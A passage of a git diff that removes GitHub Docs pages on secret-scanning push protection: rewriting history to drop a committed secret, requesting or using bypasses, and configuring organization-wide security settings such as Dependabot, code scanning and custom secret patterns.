_earliest_ in your Git history. - * In the example, commit `8728dbe67` was the first commit to contain the secret. -1. Start an interactive rebase with `git rebase -i <COMMIT-ID>~1`. - * For `<COMMIT-ID>`, use the commit identified in step 3. For example, `git rebase -i 8728dbe67~1`. -1. In the editor, choose to edit the commit identified in step 3 by changing `pick` to `edit` on the first line of the text. - - ```text - edit 8728dbe67 my second commit message - pick 03d69e5d3 my third commit message - pick 8053f7b27 my fourth commit message - ``` - -1. Save and close the editor to start the interactive rebase. -1. Remove the secret from your code. -1. Add your changes to the staging area using `git add .`. - - >[!NOTE] The full command is `git add .`: - > * There is a space between `add` and `.`. - > * The period following the space is part of the command. - -1. Commit your changes using `git commit --amend`. -1. Run `git rebase --continue` to finish the rebase. -1. Push your changes with `git push`. - -## Bypassing push protection - -If {% data variables.product.prodname_dotcom %} blocks a secret that you believe is safe to push, you {% ifversion push-protection-delegated-bypass %}may be able to {% else %}can {% endif %}bypass the block by specifying a reason for allowing the secret to be pushed. - -{% data reusables.secret-scanning.push-protection-allow-secrets-alerts %} - -{% data reusables.secret-scanning.push-protection-allow-email %} - -If you don't see the option to bypass the block, the repository administrator or organization owner has configured tighter controls around push protection. Instead, you should remove the secret from the commit, or submit a request for "bypass privileges" in order to push the blocked secret. For more information, see [Requesting bypass privileges](/enterprise-cloud@latest/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line#requesting-bypass-privileges) in the {% data variables.product.prodname_ghe_cloud %} documentation. - -{% data reusables.secret-scanning.push-protection-visit-URL %} -{% data reusables.secret-scanning.push-protection-choose-allow-secret-options %} -{% data reusables.secret-scanning.push-protection-public-repos-bypass %} -1. Click **Allow me to push this secret**. -1. Reattempt the push on the command line within three hours. If you have not pushed within three hours, you will need to repeat this process. - -{% ifversion push-protection-delegated-bypass %} - -## Requesting bypass privileges - -{% data reusables.secret-scanning.push-protection-delegate-bypass-beta-note %} - -If your push has been blocked by push protection and you believe the secret is safe to push, you can request permission to bypass the block. Your request is sent to a designated group of reviewers, who will either approve or deny the request. - -Requests expire after 7 days. - -{% data reusables.secret-scanning.push-protection-visit-URL %} -{% data reusables.secret-scanning.push-protection-bypass-request-add-comment %} -{% data reusables.secret-scanning.push-protection-submit-bypass-request %} -{% data reusables.secret-scanning.push-protection-bypass-request-check-email %} - -{% data reusables.secret-scanning.push-protection-bypass-request-decision-email %} - -If your request is approved, you can push the commit (or commits) containing the secret to the repository, as well as any future commits that contain the same secret. - -If your request is denied, you will need to remove the secret from all commits containing the secret before pushing again. For information on how to remove a blocked secret, see [Resolving a blocked push](#resolving-a-blocked-push). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui){% ifversion secret-scanning-push-protection-content-endpoints %} -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-rest-api){% endif %} diff --git a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-rest-api.md b/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-rest-api.md deleted file mode 100644 index 7f765bef0931..000000000000 --- a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-rest-api.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Working with push protection from the REST API -shortTitle: Push protection from the REST API -intro: 'Learn your options for unblocking your push to {% data variables.product.prodname_dotcom %} using the REST API if {% data variables.product.prodname_secret_scanning %} detects a secret in the content of your API request.' -permissions: '{% data reusables.permissions.push-protection-resolve-block %}' -versions: - feature: secret-scanning-push-protection-content-endpoints -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories ---- - -## About push protection from the REST API - -Push protection prevents you from accidentally committing secrets to a repository by blocking pushes containing supported secrets. - -The "Create a blob" and "Create or update file contents" endpoints in the REST API include push protection. See [AUTOTITLE](/rest/git/blobs?apiVersion=2022-11-28#create-a-blob) and [AUTOTITLE](/rest/repos/contents?apiVersion=2022-11-28#create-or-update-file-contents). - -If you make a request with these endpoints whose content includes a supported secret, the REST API will return a 409 error, indicating that a secret has been detected. - -To resolve the error, you can either: - -* **Remove** the secret from the content of your API request before trying again. -* **Create a push protection bypass:** You can bypass push protection using the "Create a push protection bypass" endpoint. For more information, see [AUTOTITLE](/rest/secret-scanning/secret-scanning?apiVersion=2022-11-28#create-a-push-protection-bypass). - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line) -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui) diff --git a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui.md b/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui.md deleted file mode 100644 index eabbf2ce9f9a..000000000000 --- a/content/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Working with push protection in the GitHub UI -shortTitle: Push protection in the GitHub UI -intro: 'Learn your options for unblocking your commit when {% data variables.product.prodname_secret_scanning %} detects a secret in your changes.' -permissions: '{% data reusables.permissions.push-protection-resolve-block %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts - - Repositories ---- - -## About push protection in the {% data variables.product.prodname_dotcom %} UI - -When you {% ifversion push-protection-delegated-bypass-file-upload-support %}upload, create, {% else %}create {% endif %}or edit files from the {% data variables.product.prodname_dotcom %} UI, push protection prevents you from accidentally committing secrets to a repository by blocking commits containing supported secrets. - -{% ifversion push-protection-block-uploads %} - -{% data variables.product.prodname_dotcom %} will also block the commit if you attempt to upload files containing supported secrets. - -{% data reusables.secret-scanning.push-protection-web-UI-uploads-beta %} - -{% endif %} - -You should either: - -* **Remove** the secret from the commit. For more information, see [Resolving a blocked commit](#resolving-a-blocked-commit). -* **Review** the instructions in the dialog box {% ifversion push-protection-delegated-bypass %}to see what options are available to you{% endif %} to allow the push. For more information, see [Bypassing push protection](#bypassing-push-protection){% ifversion push-protection-delegated-bypass %} and [Requesting bypass privileges](#requesting-bypass-privileges){% endif %}. - -{% data variables.product.prodname_dotcom %} will only display one detected secret at a time in the web UI. If a particular secret has already been detected in the repository and an alert already exists, {% data variables.product.prodname_dotcom %} will not block that secret. - -Organization owners can provide a custom link that will be displayed when a push is blocked. This custom link can contain resources and advice specific to your organization. For example, the custom link can point to a README file with information about the organization's secret vault, which teams and individuals to escalate questions to, or the organization's approved policy for working with secrets and rewriting commit history. - -## Resolving a blocked commit - -{% data reusables.secret-scanning.push-protection-web-ui-choice %} - -To resolve a blocked commit in the web UI, you need to remove the secret from the file. Once you remove the secret, you will be able to commit your changes. - ->[!NOTE] To learn how to resolved a blocked push on the command line, see [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line#resolving-a-blocked-push). - -## Bypassing push protection - -If {% data variables.product.prodname_dotcom %} blocks a secret that you believe is safe to commit, you {% ifversion push-protection-delegated-bypass %}may be able to {% else %}can {% endif %}bypass the block by specifying a reason for allowing the secret. - -{% data reusables.secret-scanning.push-protection-allow-secrets-alerts %} - -{% data reusables.secret-scanning.push-protection-allow-email %} - -1. In dialog box that appeared when {% data variables.product.prodname_dotcom %} blocked your commit, review the name and location of the secret. -{% data reusables.secret-scanning.push-protection-choose-allow-secret-options %} -{% data reusables.secret-scanning.push-protection-public-repos-bypass %} -1. Click **Allow secret**. - -{% ifversion push-protection-delegated-bypass %} - -If you don't see the option to bypass the block, the repository administrator or organization owner has configured tighter controls around push protection. Instead, you should remove the secret from the commit, or submit a request for "bypass privileges" in order to push the blocked secret. For more information, see [Requesting bypass privileges](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-in-the-github-ui#requesting-bypass-privileges). - -{% endif %} - -{% ifversion push-protection-delegated-bypass %} - -## Requesting bypass privileges - -{% data reusables.secret-scanning.push-protection-delegate-bypass-beta-note %} - -If your commit has been blocked by push protection, you can request permission to bypass the block. The request is sent to a designated group of reviewers, who will either approve or deny the request. - -Requests expire after 7 days. - -1. In dialog box that appeared when {% data variables.product.prodname_dotcom %} blocked your commit, review the name and location of the secret. -1. Click **Start request**. The request will open in a new tab. -{% data reusables.secret-scanning.push-protection-bypass-request-add-comment %} -{% data reusables.secret-scanning.push-protection-submit-bypass-request %} -{% data reusables.secret-scanning.push-protection-bypass-request-check-email %} - -{% data reusables.secret-scanning.push-protection-bypass-request-decision-email %} - -If your request is approved, you can commit the changes containing the secret to the file. You can also commit any future changes that contain the same secret. - -If your request is denied, you will need to remove the secret from the file before you can commit your changes. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-command-line){% ifversion secret-scanning-push-protection-content-endpoints %} -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/working-with-push-protection-from-the-rest-api){% endif %} diff --git a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration.md b/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration.md deleted file mode 100644 index 9cd051e3b372..000000000000 --- a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Applying a custom security configuration -shortTitle: Apply custom configuration -intro: 'You can apply your {% data variables.product.prodname_custom_security_configuration %} to repositories in your organization to meet the specific security needs of those repositories.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security -redirect_from: - - /code-security/securing-your-organization/meeting-your-specific-security-needs-with-custom-security-configurations/applying-a-custom-security-configuration ---- - -## About applying a {% data variables.product.prodname_custom_security_configuration %} - -After you create a {% data variables.product.prodname_custom_security_configuration %}, you need to apply it to repositories in your organization to enable the configuration's settings on those repositories. To learn how to create a {% data variables.product.prodname_custom_security_configuration %}, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). - -## Applying your {% data variables.product.prodname_custom_security_configuration %} to repositories in your organization - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. Optionally, in the "Apply configurations" section, filter for specific repositories you would like to apply your {% data variables.product.prodname_custom_security_configuration %} to. To learn how to filter the repository table, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/filtering-repositories-in-your-organization-using-the-repository-table). -1. In the repository table, select repositories with one of three methods: - * Select each repository you would like to apply the {% data variables.product.prodname_security_configuration %} to. - * To select all repositories displayed on the current page of the repository table, select **NUMBER repositories**. - * After selecting **NUMBER repositories**, to select _all_ repositories in your organization that match any filters you have applied, click **Select all**. - >[!NOTE] - > The repository table will show which repositories have an enforced configuration. This means that repository owners will be blocked from changing features that have been enabled or disabled in the configuration, but features that are not set aren't enforced. -1. Select the **Apply configuration** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **YOUR-CONFIGURATION-NAME**. -{% data reusables.security-configurations.apply-configuration-by-default %} - - {% data reusables.security-configurations.default-configuration-exception-repo-transfers %} - -{% data reusables.security-configurations.apply-configuration %} - -## Next steps - -To learn how to interpret security findings from your {% data variables.product.prodname_custom_security_configuration %} on a repository, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/interpreting-security-findings). - -{% data reusables.security-configurations.edit-configuration-next-step %} - -{% data reusables.security-configurations.troubleshooting-next-step %} diff --git a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization.md b/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization.md deleted file mode 100644 index 9266d9ebf2f1..000000000000 --- a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Applying the GitHub-recommended security configuration in your organization -shortTitle: Apply recommended configuration -intro: 'Secure your code with the security enablement settings created, managed, and recommended by {% data variables.product.company_short %}.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations-cloud -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About the {% data variables.product.prodname_github_security_configuration %} - -The {% data variables.product.prodname_github_security_configuration %} is a collection of enablement settings for {% data variables.product.company_short %}'s security features that is created and maintained by subject matter experts at {% data variables.product.company_short %}. The {% data variables.product.prodname_github_security_configuration %} is designed to successfully reduce the security risks for low- and high-impact repositories. We recommend you apply this configuration to all the repositories in your organization. - -## Applying the {% data variables.product.prodname_github_security_configuration %} to all repositories in your organization - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. In the "{% data variables.product.company_short %} recommended" row of the configurations table for your organization, select the **Apply to** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **All repositories** or **All repositories without configurations**. -{% data reusables.security-configurations.apply-configuration-by-default %} - - {% data reusables.security-configurations.default-configuration-exception-repo-transfers %} - -{% data reusables.security-configurations.apply-configuration %} - -## Applying the {% data variables.product.prodname_github_security_configuration %} to specific repositories in your organization - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. Optionally, in the "Apply configurations" section, filter the view to find the repositories you would like to apply the {% data variables.product.prodname_github_security_configuration %} to. To learn how to filter the repository table, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/filtering-repositories-in-your-organization-using-the-repository-table). -1. In the repository table, select repositories with one of three methods: - * Select each individual repository you would like to apply the {% data variables.product.prodname_security_configuration %} to. - * To select all repositories on the current page of the repository table, select **NUMBER repositories**. - * After selecting **NUMBER repositories**, to select all repositories in your organization that match your filter criteria, click **Select all**. -1. Select the **Apply configuration** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **{% data variables.product.company_short %} recommended**. -{% data reusables.security-configurations.apply-configuration-by-default %} - - {% data reusables.security-configurations.default-configuration-exception-repo-transfers %} - -{% data reusables.security-configurations.apply-configuration %} - -## Enforcing the {% data variables.product.prodname_github_security_configuration %} - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. In the "Code security configurations" section, select "{% data variables.product.company_short %} recommended". -1. In the "Policy" section, next to "Enforce configuration", select **Enforce** from the dropdown menu. - -{% data reusables.code-scanning.custom-security-configuration-enforcement-edge-cases %} - -## Next steps - -After you apply the {% data variables.product.prodname_github_security_configuration %}, you can customize your organization-level security settings with {% data variables.product.prodname_global_settings %}. See [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization). - -{% data reusables.security-configurations.troubleshooting-next-step %} diff --git a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization.md b/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization.md deleted file mode 100644 index faff085a80e5..000000000000 --- a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Configuring global security settings for your organization -shortTitle: Configure global settings -intro: 'Customize {% data variables.product.prodname_GH_advanced_security %} features to strengthen the security of your organization.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About {% data variables.product.prodname_global_settings %} - -Alongside {% data variables.product.prodname_security_configurations %}, which determine repository-level security settings, you should also configure {% data variables.product.prodname_global_settings %} for your organization. {% data variables.product.prodname_global_settings_caps %} apply to your entire organization, and can customize {% data variables.product.prodname_GH_advanced_security %} features based on your needs. {% ifversion ghes < 3.16 %}You can also create a team of security managers to monitor and maintain your organization's security.{% endif %} - -## Accessing the {% data variables.product.prodname_global_settings %} page for your organization - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -1. In the "Security" section of the sidebar, select the **{% data variables.product.UI_advanced_security %}** dropdown menu, then click **{% data variables.product.prodname_global_settings_caps %}**. - -## Configuring global {% data variables.product.prodname_dependabot %} settings - -{% data reusables.dependabot.dependabot-overview %} - -You can customize several {% data variables.product.prodname_global_settings %} for {% data variables.product.prodname_dependabot %}: - -* [Creating and managing {% data variables.dependabot.auto_triage_rules %}](#creating-and-managing-dependabot-auto-triage-rules) -* [Grouping {% data variables.product.prodname_dependabot %} security updates](#grouping-dependabot-security-updates){% ifversion fpt or ghec %} -* [Enabling dependency updates on {% data variables.product.prodname_actions %} runners](#enabling-dependency-updates-on-github-actions-runners){% endif %}{% ifversion fpt %} -* [Granting {% data variables.product.prodname_dependabot %} access to private repositories](#granting-dependabot-access-to-private-repositories){% else %} -* [Granting {% data variables.product.prodname_dependabot %} access to private and internal repositories](#granting-dependabot-access-to-private-and-internal-repositories){% endif %} - -### Creating and managing {% data variables.dependabot.auto_triage_rules %} - -You can create and manage {% data variables.dependabot.auto_triage_rules %} to instruct {% data variables.product.prodname_dependabot %} to automatically dismiss or snooze {% data variables.product.prodname_dependabot_alerts %}, and even open pull requests to attempt to resolve them. To configure {% data variables.dependabot.auto_triage_rules %}, click {% octicon "gear" aria-label="Configure {% data variables.product.prodname_dependabot %} rules" %}, then create or edit a rule: - * You can create a new rule by clicking **New rule**, then entering the details for your rule and clicking **Create rule**. - * You can edit an existing rule by clicking {% octicon "pencil" aria-label="Edit CURATED-OR-CUSTOM rule" %}, then making the desired changes and clicking **Save rule**. - -For more information on {% data variables.dependabot.auto_triage_rules %}, see [AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/about-dependabot-auto-triage-rules) and [AUTOTITLE](/code-security/dependabot/dependabot-auto-triage-rules/customizing-auto-triage-rules-to-prioritize-dependabot-alerts#adding-custom-auto-triage-rules-to-your-organization). - -### Grouping {% data variables.product.prodname_dependabot_security_updates %} - -{% data variables.product.prodname_dependabot %} can group all automatically suggested security updates into a single pull request. To enable grouped security updates, select **Grouped security updates**. For more information about grouped updates and customization options, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates#grouping-dependabot-security-updates-into-a-single-pull-request). - -{% ifversion dependabot-on-actions-opt-in %} - -### Enabling dependency updates on {% data variables.product.prodname_actions %} runners - -If both {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_actions %} are enabled for existing repositories in your organization, {% data variables.product.company_short %} will automatically use {% data variables.product.company_short %}-hosted runners to run dependency updates for those repositories. - -Otherwise, to allow {% data variables.product.prodname_dependabot %} to use {% data variables.product.prodname_actions %} runners to perform dependency updates for all existing repositories in the organization, select "{% data variables.product.prodname_dependabot %} on Actions runners". - -For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners). - -{% data reusables.dependabot.dependabot-on-actions-self-hosted-link %} - -{% endif %} - -### Granting {% data variables.product.prodname_dependabot %} access to private {% ifversion ghec or ghes %}and internal {% endif %}repositories - -To update private dependencies of repositories in your organization, {% data variables.product.prodname_dependabot %} needs access to those repositories. To grant {% data variables.product.prodname_dependabot %} access to the desired private {% ifversion ghec or ghes %}or internal {% endif %}repository, scroll down to the "Grant {% data variables.product.prodname_dependabot %} access to private repositories" section, then use the search bar to find and select the desired repository. Be aware that granting {% data variables.product.prodname_dependabot %} access to a repository means all users in your organization will have access to the contents of that repository through {% data variables.product.prodname_dependabot_updates %}. For more information about the supported ecosystems for private repositories, see [AUTOTITLE](/code-security/dependabot/ecosystems-supported-by-dependabot/supported-ecosystems-and-repositories). - -## Configuring global {% data variables.product.prodname_code_scanning %} settings - -{% data reusables.code-scanning.about-code-scanning %} - -You can customize several {% data variables.product.prodname_global_settings %} for {% data variables.product.prodname_code_scanning %}: - -* [Recommending the extended query suite for default setup](#recommending-the-extended-query-suite-for-default-setup){% ifversion code-scanning-autofix %} -* [Enabling {% data variables.product.prodname_copilot_autofix_short %} for {% data variables.product.prodname_codeql %}](#enabling-copilot-autofix-for-codeql) -* [Enabling {% data variables.product.prodname_copilot_autofix_short %} for third-party {% data variables.product.prodname_code_scanning %} tools](#enabling-copilot-autofix-for-third-party-code-scanning-tools) {% endif %} -* [Setting a failure threshold for {% data variables.product.prodname_code_scanning %} checks in pull requests](#setting-a-failure-threshold-for-code-scanning-checks-in-pull-requests) - -### Recommending the extended query suite for default setup - -{% data variables.product.prodname_code_scanning_caps %} offers specific groups of {% data variables.product.prodname_codeql %} queries, called {% data variables.product.prodname_codeql %} query suites, to run against your code. By default, the "Default" query suite is run. {% data variables.product.company_short %} also offers the "Extended" query suite, which contains all the queries in the "Default" query suite, plus additional queries with lower precision and severity. To suggest the "Extended" query suite across your organization, select **Recommend the extended query suite for repositories enabling default setup**. For more information on built-in query suites for {% data variables.product.prodname_codeql %} default setup, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites). - -{% ifversion code-scanning-autofix %} - -### Enabling {% data variables.product.prodname_copilot_autofix_short %} for {% data variables.product.prodname_codeql %} - -You can select **{% data variables.product.prodname_copilot_autofix_short %}** to enable {% data variables.product.prodname_copilot_autofix_short %} for all the repositories in your organization that use {% data variables.product.prodname_codeql %} default setup or {% data variables.product.prodname_codeql %} advanced setup. {% data variables.product.prodname_copilot_autofix_short %} is an expansion of {% data variables.product.prodname_code_scanning %} that suggests fixes for {% data variables.product.prodname_code_scanning %} alerts. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning). - -### Enabling {% data variables.product.prodname_copilot_autofix_short %} for third-party {% data variables.product.prodname_code_scanning %} tools - ->[!NOTE] -> Third-party {% data variables.product.prodname_code_scanning %} tool support is in {% data variables.release-phases.public_preview %}, and subject to change. Currently, the third-party tool ESLint is supported. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning). - -You can select **{% data variables.product.prodname_copilot_autofix_short %} for third-party tools** to enable {% data variables.product.prodname_copilot_autofix_short %} for all the repositories in your organization that use third-party tools. {% data variables.product.prodname_copilot_autofix_short %} is an expansion of {% data variables.product.prodname_code_scanning %} that suggests fixes for {% data variables.product.prodname_code_scanning %} alerts. - -{% endif %} - -### Setting a failure threshold for {% data variables.product.prodname_code_scanning %} checks in pull requests - -You can choose the severity levels at which {% data variables.product.prodname_code_scanning %} check runs on pull requests will fail. To choose a security severity level, select the **Security: SECURITY-SEVERITY-LEVEL** dropdown menu, then click a security severity level. To choose an alert severity level, select the **OTHER: ALERT-SEVERITY-LEVEL** dropdown menu, then click an alert severity level. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts#about-alert-severity-and-security-severity-levels). - -## Configuring global {% data variables.product.prodname_secret_scanning %} settings - -{% data reusables.security-configurations.secret-scanning-security-configs-summary %} - -You can customize several {% data variables.product.prodname_global_settings %} for {% data variables.product.prodname_secret_scanning %}: - -{% ifversion secret-scanning-ai-generic-secret-detection %} -* [Generic secret detection with {% data variables.secret-scanning.copilot-secret-scanning %}](#generic-secret-detection-with-copilot-secret-scanning){% endif %} -* [Adding a resource link for blocked commits](#adding-a-resource-link-for-blocked-commits){% ifversion ghec or ghes %} -* [Defining custom patterns](#defining-custom-patterns){% endif %} - -{% ifversion secret-scanning-ai-generic-secret-detection %} - -### {% data variables.secret-scanning.generic-secret-detection-caps %} with {% data variables.secret-scanning.copilot-secret-scanning %} - -{% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.generic-secret-detection %} is an AI-powered expansion of {% data variables.product.prodname_secret_scanning %} that scans and creates alerts for unstructured secrets, such as passwords. To enable these scans, select **Scan for generic secrets**. Be aware that generic secrets often have a higher rate of false positives than other types of alert. To learn more about generic secrets, see [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets). - -{% data reusables.secret-scanning.copilot-secret-scanning-generic-secrets-subscription-note %} - -{% endif %} - -### Adding a resource link for blocked commits - -To provide context for developers when {% data variables.product.prodname_secret_scanning %} blocks a commit, you can display a link with more information on why the commit was blocked. To include a link, select **Add a resource link in the CLI and the web UI when a commit is blocked**. In the text box, type the link to the desired resource, then click **Save**. -{% ifversion ghec or ghes %} - -### Defining custom patterns - -You can define custom patterns for {% data variables.product.prodname_secret_scanning %} with regular expressions. Custom patterns can identify secrets that are not detected by the default patterns supported by {% data variables.product.prodname_secret_scanning %}. To create a custom pattern, click **New pattern**, then enter the details for your pattern and click **Save and dry run**. For more information on custom patterns, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). - -{% endif %} - -## Creating security managers for your organization - -The security manager role grants members of your organization the ability to manage security settings and alerts across your organization. Security managers can view data for all repositories in your organization through security overview. - -To learn more about the security manager role, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). - -{% ifversion ghes < 3.16 %} - -To grant all members of a team the security manager role, in the "Search for teams" text box, type the name of the desired team. In the dropdown menu that appears, click the team, then click **I understand, grant security manager permissions**. - -{% endif %} diff --git a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration.md b/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration.md deleted file mode 100644 index 1ccb34dbdc0d..000000000000 --- a/content/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration.md +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Creating a custom security configuration -shortTitle: Create custom configuration -intro: 'Build a {% data variables.product.prodname_custom_security_configuration %} to meet the specific security needs of repositories in your organization.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security -redirect_from: - - /code-security/securing-your-organization/meeting-your-specific-security-needs-with-custom-security-configurations/creating-a-custom-security-configuration ---- - -## About {% data variables.product.prodname_custom_security_configurations %} - -{% ifversion security-configurations-cloud %} - -We recommend securing your organization with the {% data variables.product.prodname_github_security_configuration %}, then evaluating the security findings on your repositories before configuring {% data variables.product.prodname_custom_security_configurations %}. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization). - -{% endif %} - -With {% data variables.product.prodname_custom_security_configurations %}, you can create collections of enablement settings for {% data variables.product.company_short %}'s security products to meet the specific security needs of your organization. For example, you can create a different {% data variables.product.prodname_custom_security_configuration %} for each group of repositories to reflect their different levels of visibility, risk tolerance, and impact. - -{% ifversion security-configurations-ghes-only %} - -When creating a security configuration, keep in mind that: -* Only features installed by a site administrator on your {% data variables.product.prodname_ghe_server %} instance will appear in the UI. -* {% data variables.product.prodname_GH_advanced_security %} features will only be visible if your organization or {% data variables.product.prodname_ghe_server %} instance holds a {% data variables.product.prodname_GH_advanced_security %} license. -* Certain features, like {% data variables.product.prodname_dependabot_security_updates %} and {% data variables.product.prodname_code_scanning %} default setup, also require that {% data variables.product.prodname_actions %} is installed on the {% data variables.product.prodname_ghe_server %} instance. - -{% endif %} - -## Creating a {% data variables.product.prodname_custom_security_configuration %} - -{% ifversion security-configurations-cloud %} -<!-- Note: this article has two entirely separate procedures for cloud and server users. --> - ->[!NOTE] -> The enablement status of some security features is dependent on other, higher-level security features. For example, disabling dependency graph will also disable {% data variables.product.prodname_dependabot %}, and security updates. For {% data variables.product.prodname_security_configurations %}, dependent security features are indicated with indentation and {% octicon "reply" aria-hidden="true" %}. - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. In the "Code security configurations" section, click **New configuration**. -1. To help identify your {% data variables.product.prodname_custom_security_configuration %} and clarify its purpose on the "Code {% data variables.product.prodname_security_configurations %}" page, name your configuration and create a description. -1. In the "{% data variables.product.prodname_GH_advanced_security %} features" row, choose whether to include or exclude {% data variables.product.prodname_GH_advanced_security %} (GHAS) features. If you plan to apply a {% data variables.product.prodname_custom_security_configuration %} with GHAS features to private repositories, you must have available GHAS licenses for each active unique committer to those repositories, or the features will not be enabled. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). -1. In the "Dependency graph" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for the following security features: - * Dependency graph. To learn about dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph).{%- ifversion maven-transitive-dependencies %} - * Automatic dependency submission. To learn about automatic dependency submission, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-automatic-dependency-submission-for-your-repository).{%- endif %} - * {% data variables.product.prodname_dependabot %}. To learn about {% data variables.product.prodname_dependabot %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - * Security updates. To learn about security updates, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - -1. In the "{% data variables.product.prodname_code_scanning_caps %}" section of the security settings table, choose whether you want to enable, disable, or keep the existing settings for {% data variables.product.prodname_code_scanning %} default setup.{% ifversion code-scanning-default-setup-customize-labels %} - If you want to target specific runners for {% data variables.product.prodname_code_scanning 